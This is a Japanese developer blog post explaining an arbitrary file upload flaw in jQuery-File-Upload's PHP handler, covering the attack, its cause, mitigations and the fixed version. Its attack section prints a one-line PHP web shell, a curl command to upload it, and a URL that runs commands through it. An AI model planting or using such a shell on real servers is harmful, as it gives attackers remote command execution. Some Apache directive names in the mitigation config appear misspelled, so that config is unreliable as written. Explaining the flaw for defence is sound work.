jQuery-File-Uploadの脆弱性を見てみよう

こんにちは、開発部の島崎と申します。

今回は、jQuery-File-Uploadで見つかった脆弱性についてご紹介いたします。


jQuery-File-Uploadとは

ファイルアップロードの機能を提供するプラグインです。

ドラッグ&ドロップでアップロードできたり、画像をリサイズしたりと、便利な機能を簡単に導入することができます。

PHPやPython、Goなどでも利用することができるパッケージが用意されており、それぞれのサンプルプログラムも用意されています。


発見された脆弱性

こちらのサイトにて詳細に説明されていますが、ある条件を満たしている場合、あらゆる形式のファイルがアップロードできる状態となっていました。

これにより、例えばシェルスクリプトが書かれたファイルをアップロードし、実行されてしまうという状態であったことがわかりました。


実際に攻撃してみましょう

百聞は一見にしかず、ということで以下のコードが書かれたファイルをアップロードしてみましょう。

// shell.php
<?php $cmd=$_GET['cmd']; system($cmd); ?>
$ curl  -F "files=@shell.php" https://XXX/jQuery-File-Upload/server/php/index.php


アップロードが完了したあとは、クエリにコマンドを挿入してみてください。実行されていることができる確認できます。

// http://XXX/jQuery-File-Upload/server/php/files/shell.php?cmd=pwd にアクセス
// 実行結果が表示されます

原因

アップロード可能なファイル形式を指定していない

結果としては、PHPのパッケージに原因がありました。そのソースは以下の通りです。

// index.php
require('UploadHandler.php');
$upload_handler = new UploadHandler();
// UploadHandler.php
class UploadHandler {
// ...... 略 ......
   public function __construct($options = null, $initialize = true, $error_messages = null) {
      $this->options = array(
         // ...... 略 ......
         'accept_file_types' => '/.+$/i', 
      );
   }
}

new UploadHandler()でインスタンスを生成する際、引数に$optionsを指定することができます。その中でaccept_file_typesという、アップロードできる拡張子を指定する項目があるのですが、デフォルトではあらゆる形式のファイルを受け付けていました。

つまり、サンプルプログラムにならい、accept_file_typesをデフォルト値で利用している場合に限り、危険な状態にあるのです。


アップロード先でファイルが実行可能となっている

.htaccessを利用することで、ファイルを実行させないようにすることができますが、設定していない場合は危険な状態にあります。

また、Apacheの設定によっては.htaccessが無効になる場合もあるため、注意が必要となります(後述)。

対策

ファイル形式を指定

アップロードを許可するファイル形式を指定することで、悪意のあるファイルのアップロードを防ぐことができます。

※デフォルトで画像ファイルのみ許可するよう変更されました

'accept_file_types' => '/\.(gif|jpe?g|png)$/i' 


.htaccessによる制御

.htaccessでファイルを実行させないようにしましょう。以下の設定が推奨されています。

# ブラウザに表示せずにファイルをダウンロードさせる
setHandler default-handler
ForceType application/octet-stream
Header set Content-Disposition attachment


# 画像ファイルのみブラウザ表示
<FileMatch "(?i)\.(gif|jpe?g|png)$">
      ForceType none
      header unset Content-Disposition
</FileMatch>


# ファイルの中身をチェックし、Content-Typeを変更してはいけない
Header set X-Content-Type-Options nosniff

<FileMatch>について注意点があります。

<FileMatch>の代わりに以下のように記述している人もいるかと思いますが、それぞれ仕様が異なります(AddHeader用の対策もされています)。

# sample.php.gif もマッチしてしまいます!
AddHeader php5-script .php


# sample.php.gif はマッチしません!
<FileMatch "(?i)\.(gif|jpe?g|png)$">

また、Apache2.3.9以上ではAllowOverrideのデフォルト値がnoneになっています。.htaccessが無効では意味がないので、.htaccessを設置するディレクトリには、適切にAllowOverrideを設定しましょう。


v9.24.1以上にしましょう

上記の脆弱性はv9.24.1以上で修正済みのため、アップデートをおすすめします。


まとめ

今回は、jQuery-File-Uploadの脆弱性について、攻撃方法、原因、対策とともにご説明いたしました。

この脆弱性は1年前から残っていたものだそうです。

先日、Facebookのユーザ情報流出が発覚しましたが、こちらも1年以上前から存在する脆弱性を悪用された事例でした。

過去のリリースによって生まれた脆弱性が存在しないか、定期的に確認することが大事なのですね。


参考

『Remote code execution vulnerabikity in the PHP component』

https://github.com/blueimp/jQuery-File-Upload/commits/master/server/php/UploadHandler.php


jQuery-File-Upload <= v9.22.0 unauthenticated arbitrary file upload vulnerability

http://www.vapidlabs.com/advisory.php?v=204


知識・ノウハウ共有
56件
ひさだ
2019.09.03

共有ありがとうございます。

自分も定期的に脆弱性がないかライブラリ等確認していきます。

2019.09.03

バージョンアップは大事なので、定期的にチェックする必要がありますよね

関連記事